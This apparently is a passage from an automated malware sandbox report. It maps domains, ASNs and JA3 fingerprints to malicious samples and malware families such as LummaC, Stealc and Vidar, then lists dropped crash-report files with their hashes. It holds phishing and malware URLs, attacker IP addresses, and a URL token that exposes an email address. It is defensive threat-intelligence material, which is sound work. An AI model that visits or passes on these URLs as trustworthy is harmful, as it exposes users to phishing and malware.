	https://mail.inforumahsumut.com/	Get hash	malicious	Unknown	Browse	13.107.246.60
	https://cpanel.lmsummaryservice.com/	Get hash	malicious	Unknown	Browse	13.107.246.60
	Payout Receipt.pptx	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	263528293882.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	https://www.google.com/url?sa=t&url=https%3A%2F%2F%6d%6f%73%63%76%61%64%75%6d%61%2e%70%72%6f%2F&usg=AOvVaw0d8WU-1rxjmcdGQTa3JxQL&opi=	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	https://test1web.edukati2.websku.com/	Get hash	malicious	Unknown	Browse	13.107.246.60
	Set-up.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	13.107.246.60
iplogger.org	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	104.26.3.46
	66fb252fe232b_Patksl.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	104.26.3.46
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	104.26.3.46
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	104.26.2.46
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	172.67.74.161
	SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Cryptbot, Go Injector, LummaC Stealer, PrivateLoader, PureLog Stealer	Browse	172.67.74.161
	SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Cryptbot, Go Injector, LummaC Stealer, PrivateLoader, PureLog Stealer	Browse	104.26.2.46
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, RedLine, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	104.26.3.46
	gobEmOm5sr.exe	Get hash	malicious	LummaC, PureLog Stealer, RedLine, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	104.26.2.46
	FileApp.exe	Get hash	malicious	LummaC, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig, zgRAT	Browse	104.26.2.46

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CH-NET-ASRO	7f3c2473d1e6.exe	Get hash	malicious	LummaC, Vidar	Browse	141.98.233.156
	file.exe	Get hash	malicious	Vidar	Browse	141.98.233.156
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	141.98.233.156
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	141.98.233.156
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	141.98.233.156
	file.exe	Get hash	malicious	Unknown	Browse	141.98.234.85
	file.exe	Get hash	malicious	Unknown	Browse	141.98.234.85
	gobEmOm5sr.exe	Get hash	malicious	LummaC, PureLog Stealer, RedLine, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	141.98.234.31
	UmMgwOUPt5.exe	Get hash	malicious	PureLog Stealer, RedLine, RisePro Stealer, Vidar, zgRAT	Browse	141.98.234.31
	EGQqjPn5p3.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, SmokeLoader, Socks5Systemz	Browse	141.98.234.31
FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	f2e7fcb20146.exe	Get hash	malicious	Stealc	Browse	46.8.231.109
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	46.8.231.109
	file.exe	Get hash	malicious	Stealc	Browse	46.8.231.109
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	66fb252fe232b_Patksl.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	46.8.231.109
	5ndBtx7pRX.exe	Get hash	malicious	GO Backdoor	Browse	46.8.236.61
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
AS40676US	66fb252fe232b_Patksl.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	41.216.188.190
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	41.216.188.190
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	41.216.188.190
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, Neoreklami, Socks5Systemz	Browse	41.216.188.190
	kz6TUdxXIS.lnk	Get hash	malicious	Unknown	Browse	45.61.139.69
	mauaJGz26X.lnk	Get hash	malicious	Unknown	Browse	45.61.139.69
	aU6j6abH40.lnk	Get hash	malicious	Unknown	Browse	45.61.139.69
	CSBls4grBI.exe	Get hash	malicious	LummaC, Socks5Systemz	Browse	41.216.188.190
	RGSIlG6W0e.exe	Get hash	malicious	ArrowRAT	Browse	88.214.59.176
	jade.arm.elf	Get hash	malicious	Mirai	Browse	205.161.47.164

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	f2e7fcb20146.exe	Get hash	malicious	Stealc	Browse	13.107.246.60
	a43486128347.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	956d73b7f041.exe	Get hash	malicious	Stealc	Browse	13.107.246.60
	7f3c2473d1e6.exe	Get hash	malicious	LummaC, Vidar	Browse	13.107.246.60
	Payment receipt 50%Invoicelp612117_CQDM.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	TsxJNxhxMJfQTd.ps1	Get hash	malicious	Unknown	Browse	13.107.246.60
	https://ravenous-feast.co.uk/	Get hash	malicious	Unknown	Browse	13.107.246.60
	https://admin.hotcoinbase.com/	Get hash	malicious	Unknown	Browse	13.107.246.60
	https://smallpdf.com/sign-pdf/document#data=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwczovL2VzaWduLnNtYWxscGRmLXN0YWdpbmcuY29tIiwic3ViIjoiN2NmYmYzYzYtZGJhZS00MDU2LWFmNjEtZTE1OTY4NGUxZTc4IiwiYXVkIjpbImVzaWduIl0sImV4cCI6MTcyOTI1NTE2OCwibmJmIjoxNzI4MDQ1NTY4LCJpYXQiOjE3MjgwNDU1NjgsImp0aSI6IjdjZmJmM2M2LWRiYWUtNDA1Ni1hZjYxLWUxNTk2ODRlMWU3OCIsInBheWxvYWQiOnsiZW52ZWxvcGVfaWQiOiIyNDYxNDE2ZC1iYWJmLTQzMDktOTRhYy1hZWJkYzRjMmZmY2MiLCJzaWduX3JlcXVlc3RfaWQiOiI3Y2ZiZjNjNi1kYmFlLTQwNTYtYWY2MS1lMTU5Njg0ZTFlNzgiLCJ0b2tlbl90eXBlIjoibm90aWZpY2F0aW9uIiwidXNlcl9lbWFpbCI6ImZyYW5jZXMud29vZEB1a3JpLm9yZyIsInVzZXJfZmlyc3RuYW1lIjoiZnJhbmNlcy53b29kQHVrcmkub3JnIiwidXNlcl9sYXN0bmFtZSI6ImZyYW5jZXMud29vZEB1a3JpLm9yZyJ9fQ.OqxYiO2DP6wYmX2t6u3X4Qa-FIZ5J__ELTV29qKimLo&eid=2461416d-babf-4309-94ac-aebdc4c2ffcc&esrt=7cfbf3c6-dbae-4056-af61-e159684e1e78	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	https://rb.gy/a8jf8c	Get hash	malicious	Unknown	Browse	13.107.246.60
a0e9f5d64349fb13191bc781f81f42e1	a43486128347.exe	Get hash	malicious	LummaC	Browse	104.26.3.46 173.231.16.77 34.117.59.81
	7f3c2473d1e6.exe	Get hash	malicious	LummaC, Vidar	Browse	104.26.3.46 173.231.16.77 34.117.59.81
	Payout Receipt.pptx	Get hash	malicious	HTMLPhisher	Browse	104.26.3.46 173.231.16.77 34.117.59.81
	setup.exe	Get hash	malicious	Unknown	Browse	104.26.3.46 173.231.16.77 34.117.59.81
	msvcp110.dll	Get hash	malicious	LummaC	Browse	104.26.3.46 173.231.16.77 34.117.59.81
	c7v62g0YpB.exe	Get hash	malicious	SmokeLoader	Browse	104.26.3.46 173.231.16.77 34.117.59.81
	PO20241003.xls	Get hash	malicious	Unknown	Browse	104.26.3.46 173.231.16.77 34.117.59.81
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.26.3.46 173.231.16.77 34.117.59.81
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.26.3.46 173.231.16.77 34.117.59.81
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.26.3.46 173.231.16.77 34.117.59.81

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_2OJr0kqvYIvMGmMo_cc19252ca173c876ba4a3a842e7974d596f0c6_f05e2183_edd814a5-5a91-4ec4-a256-10e3a479ca50\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.68638768460332
Encrypted:	false
SSDEEP:	96:sKFx7pd9zZsQsqcoI7RV6tQXIDcQvc6QcEVcw3cE/y+7+HbHg/5hZAX/d5FMT2SS:3fpnzZ7e0BU/YjhzuiFPZ24IO80D
MD5:	700F53125161963874F90716932225DE
SHA1:	F981BE89991D2B799D5DB0F366B8F7133B89EA4D
SHA-256:	33D7F96E9372A4F090EAADBA0540256A444CC8CAFABF9C64BCAC147FB200A8CF
SHA-512:	65257FC7983B3EEE04464F9F1CBD57E46E1D819199718DF5D0D7EC8CF8ACF598F5C3C245980BA5B8660D19905E693FC5E6848B5AB88E07071E8F5B301656F14E
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.5.2.3.6.2.5.9.9.7.5.2.1.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.5.2.3.6.2.7.2.3.1.9.0.3.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.d.d.8.1.4.a.5.-.5.a.9.1.-.4.e.c.4.-.a.2.5.6.-.1.0.e.3.a.4.7.9.c.a.5.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.f.c.7.9.b.0.1.-.4.c.7.8.-.4.d.a.2.-.9.9.5.b.-.3.0.0.3.d.f.a.d.3.4.7.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.2.O.J.r.0.k.q.v.Y.I.v.M.G.m.M.o.M.n.n.z.A.H.b.c...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.x.w.i.z.a.r.d...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.8.3.4.-.0.0.0.1.-.0.0.1.3.-.d.a.a.d.-.8.6.d.4.6.4.1.6.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.f.8.f.e.4.d.d.b.1.2.e.2.2.3.9.6.d.b.2.4.b.9.7.7.f.f.e.c.1.5.d.5.0.0.0.0.0.9.0.4.!.0.0.0.0.4.8.3.0.7.1.8.c.a.3.2.7.e.4.7.1.7.d.4.2.5.8.6.5.7.9.d.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_HJCfr5V5_QVbJA3P_31b8ce65439a50121b23b84153588960845d6bec_80088be2_0f33ec71-5ede-4370-9161-b99e6456e971\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6865284038151879
Encrypted:	false
SSDEEP:	192:bPCb2q6KUl00BU/HPYjhzuiFPZ24IO80X0:DCb2qvUlvBU/HPYjhzuiFPY4IO80X0
MD5:	199B5D904EB0D8286300E12C2BCFAD2D
SHA1:	253C3B656062AE80390646B32C9505CF8FCD5E9A
SHA-256:	E4996380C0F310C94ACA29EE0577E90D5FF6A91E766A477954878230A2B333DB
SHA-512:	D7FED78C5AA3B5B62EA36A8F33B07D3C99AA50614C718CE7285B8632CA869600D6E03E233E434FE26B4EBFA697EDDC9CAD12A892D5189CCD6BF8217C847FC2FC
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.5.2.3.6.2.6.5.1.2.9.8.9.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.5.2.3.6.2.7.7.0.0.4.9.0.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.f.3.3.e.c.7.1.-.5.e.d.e.-.4.3.7.0.-.9.1.6.1.-.b.9.9.e.6.4.5.6.e.9.7.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.2.2.9.1.6.0.5.-.7.6.5.5.-.4.d.e.2.-.b.9.e.d.-.6.9.7.d.f.1.4.8.2.0.1.5.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.H.J.C.f.r.5.V.5._.Q.V.b.J.A.3.P.P.M.7.O.V.X.S.s...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.x.w.i.z.a.r.d...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.6.7.8.-.0.0.0.1.-.0.0.1.3.-.c.8.b.7.-.9.9.d.4.6.4.1.6.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.f.8.f.e.4.d.d.b.1.2.e.2.2.3.9.6.d.b.2.4.b.9.7.7.f.f.e.c.1.5.d.5.0.0.0.0.0.9.0.4.!.0.0.0.0.6.7.2.d.c.4.d.1.9.4.a.5.f.f.e.2.f.d.5.c.2.3.b.4.1.1.b.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MSBuild.exe_a2a1886eeb1ab4738bb54344a74218f48ff23bbc_be4a79b7_8181095c-d21e-4ba8-ab03-05aeb4b91841\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0629683046526721
Encrypted:	false
SSDEEP:	192:Ov9BcOuQfw0BU/gjMAZrdAezWzuiFPZ24IO8q:29ZhfLBU/gjJxWzuiFPY4IO8q
MD5:	846DD3D39BBCB58F839D8BD6FBCF1FA4
SHA1:	C8595FEAA76EA51CF867F9369A8AFFB3425E312F
SHA-256:	1D1103D7E3FC08F93D706F0F719C482C12C2774D68B9358CFF1749AC6D149ED2
SHA-512:	7E93C8CA6CD359CC4D3FB3046BB34AAEDF53AB0F5F45B3FDEC9C9EEFD25E5A8381D2E4B5812A1D9FCF369A58DF7AF295AD3734BD5D99C7455505E21B2627DE4B
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.5.2.3.6.5.4.1.0.2.9.2.6.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.5.2.3.6.5.4.6.4.9.7.8.9.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.1.8.1.0.9.5.c.-.d.2.1.e.-.4.b.a.8.-.a.b.0.3.-.0.5.a.e.b.4.b.9.1.8.4.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.3.9.1.a.3.f.7.-.5.2.c.1.-.4.6.2.e.-.9.1.2.d.-.3.d.c.d.5.b.4.8.e.0.8.f.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.M.S.B.u.i.l.d...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.M.S.B.u.i.l.d...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.7.2.4.-.0.0.0.1.-.0.0.1.3.-.6.0.e.c.-.b.b.d.4.6.4.1.6.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.e.6.2.5.6.a.0.1.5.9.6.8.8.f.0.5.6.0.b.0.1.5.d.a.4.d.9.6.7.f.4.1.c.b.f.8.c.9.b.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MSBuild.exe_faac6578d9eb4145cf24c623c8a7076a595e99_473dd2bc_eaf91305-be79-4933-8420-b082d1199ace\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.952481041430952
Encrypted:	false
SSDEEP:	192:CkicOx7fE0BU/gju0ZrVZazuiF0Z24IO8q:tS9f/BU/gjPEzuiF0Y4IO8q
MD5:	35A068E1360F858DD29B081EE3EA806C
SHA1:	A494AD01FDD7AB90E99FCD313A5FCF9F4780E78D
SHA-256:	486756A4598C62702F20A80648F278EE5FD59D4A956DD3C7455E4277F858CB02
SHA-512:	7C6A437C50EA904CA89DABA8AF957B0396A006F3780EFEAD3CBA80112189AE2C1342E862E6986E9BC3F53B866F93A65F42FBF1DBD59DBB6F7CB6C60F7027EB32
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.5.2.3.6.7.2.4.8.9.2.4.5.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.5.2.3.6.7.3.0.5.1.7.4.4.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.a.f.9.1.3.0.5.-.b.e.7.9.-.4.9.3.3.-.8.4.2.0.-.b.0.8.2.d.1.1.9.9.a.c.e.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.1.7.a.7.9.c.1.-.9.5.3.6.-.4.3.3.f.-.9.7.e.f.-.8.7.3.c.6.b.5.6.8.4.1.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.M.S.B.u.i.l.d...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.M.S.B.u.i.l.d...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.6.7.4.-.0.0.0.1.-.0.0.1.3.-.4.7.7.c.-.9.a.d.4.6.4.1.6.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.e.6.2.5.6.a.0.1.5.9.6.8.8.f.0.5.6.0.b.0.1.5.d.a.4.d.9.6.7.f.4.1.c.b.f.8.c.9.b.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_d1bc91bd44a0.exe_a3af2ca23be4db44f6b6c8eec231fd10faccfa_f50e69e1_21fd06de-c9b0-4a73-b6c1-7188d06561c7\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6655541128426287
Encrypted:	false
SSDEEP:	192:5Nicp7AK1lW0BU/LUPjhzuiFPZ24IO807J:5ccp51l9BU/LUPjhzuiFPY4IO807J
MD5:	50A6F3F5FC8C062A59ACBFE93BAB47FC
SHA1:	8911A61793E248EEB495DFE3D289D44DD5F26C26
SHA-256:	7267DF21102592BF24B76DA0E78E2F2A5501298FA690A0E9F89AEFCE830825A9
SHA-512:	2968D9EEE54CB4625E9CF46C687209F414C2C4C2D1880132EF0EE7FCFBB94BDDEC59398DB4B5A828A961012195B328A8F8D9292D70620CC41A706AC3A57457E0
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.5.2.3.6.1.5.4.9.3.9.5.4.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.5.2.3.6.1.7.2.1.2.7.0.8.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.1.f.d.0.6.d.e.-.c.9.b.0.-.4.a.7.3.-.b.6.c.1.-.7.1.8.8.d.0.6.5.6.1.c.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.c.8.2.e.8.8.6.-.5.7.1.5.-.4.3.b.0.-.8.4.8.7.-.c.d.1.b.c.e.1.9.0.6.b.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.d.1.b.c.9.1.b.d.4.4.a.0...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.x.w.i.z.a.r.d...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.f.a.c.-.0.0.0.1.-.0.0.1.3.-.f.a.8.8.-.c.b.c.d.6.4.1.6.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.f.8.f.e.4.d.d.b.1.2.e.2.2.3.9.6.d.b.2.4.b.9.7.7.f.f.e.c.1.5.d.5.0.0.0.0.0.9.0.4.!.0.0.0.0.8.9.3.6.1.e.c.1.8.4.9.0.b.2.6.4.8.b.b.4.e.4.5.a.3.c.e.b.a.d.f.c.e.4.6.e.1.e.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1B5B.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Oct 4 13:53:36 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	34764
Entropy (8bit):	1.629964674758602
Encrypted:	false
SSDEEP:	96:5b8dFHWax5FX/TMfRMi77qPr1ct9grlMOj8qKZgFqW5M3CDWIOWIk4A4hZAPjFiR:6dhVOEgal58qKq2JhZAL4qQz
MD5:	20C4E3850AB606F4ED7CFAC64C9BF026
SHA1:	CAE3C42C44D3E2BEEB93F509F815104819CD9D88
SHA-256:	961445F322D92D2E26424B0DCFE8EC52B5B68F5CA4252C3DC0C487C730499ADE
SHA-512:	FA20A723D93970ADB986763C5EE0B0CC1E464EFE63A9D8A39BD63E589FFF37E5869CCCAD3D27EBE01C1CBD7C5940876D1506726B09F82B2B8B1F385475379082
Malicious:	false
Preview:	MDMP..a..... .......`..f........................d...........................T.......8...........T................}......................................................................................................eJ..............GenuineIntel............T...........^..f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER204E.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8420
Entropy (8bit):	3.699278100473338
Encrypted:	false
SSDEEP:	192:R6l7wVeJbq6VI6YWlSU9tlgmfpMkprw89by8sfVQmm:R6lXJm6VI6YESU9tlgmfpM8yPfVY
MD5:	48FCA265F7A3CFB66D5F15EE20BCBCB3
SHA1:	A8A2DADB54D157A37CE394C67DCB7AA319A7E0C6
SHA-256:	627B8EF8C3E63AAE598731B5ECF93211F4FE9974BF546435F1D389F650694CF2
SHA-512:	94D36EDA842EB0BFBA53EA81C08D31689015D9B2AC45A2CC7D72775D2A67FFE9035E498E152824B1C60CFBFE0583AA908F14F5FC1A508904E1DCB37A83CF3D0D
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.8.1.0.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER208E.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4807
Entropy (8bit):	4.485242787110287
Encrypted:	false
SSDEEP:	48:cvIwWl8zsNJg77aI9xGWpW8VYIYm8M4JJtFPm+q8vvQ5ZKjR85d:uIjfnI7XH7VUJxmK45ZKjR85d
MD5:	85673F463A083D0F17EF21EE3D059AB5
SHA1:	D7A5DACDFE8DEDAFA17A0F01242E29D60A1C74FB
SHA-256:	90F999DA13CCDD1CD00922F6100C8D5787C49073BBB0CA122903C7D97AE63253
SHA-512:	8B660BE7E6FFD2BB3B77E3CD93F3BA84E4A42F6E7CD991796D872D954B7F3C6E2E3EF2B383F9268E68A093A59E66500203A7169313120EB9D1A4AB0D54C2FF0D
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="528776" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER445F.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Oct 4 13:53:46 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	35408
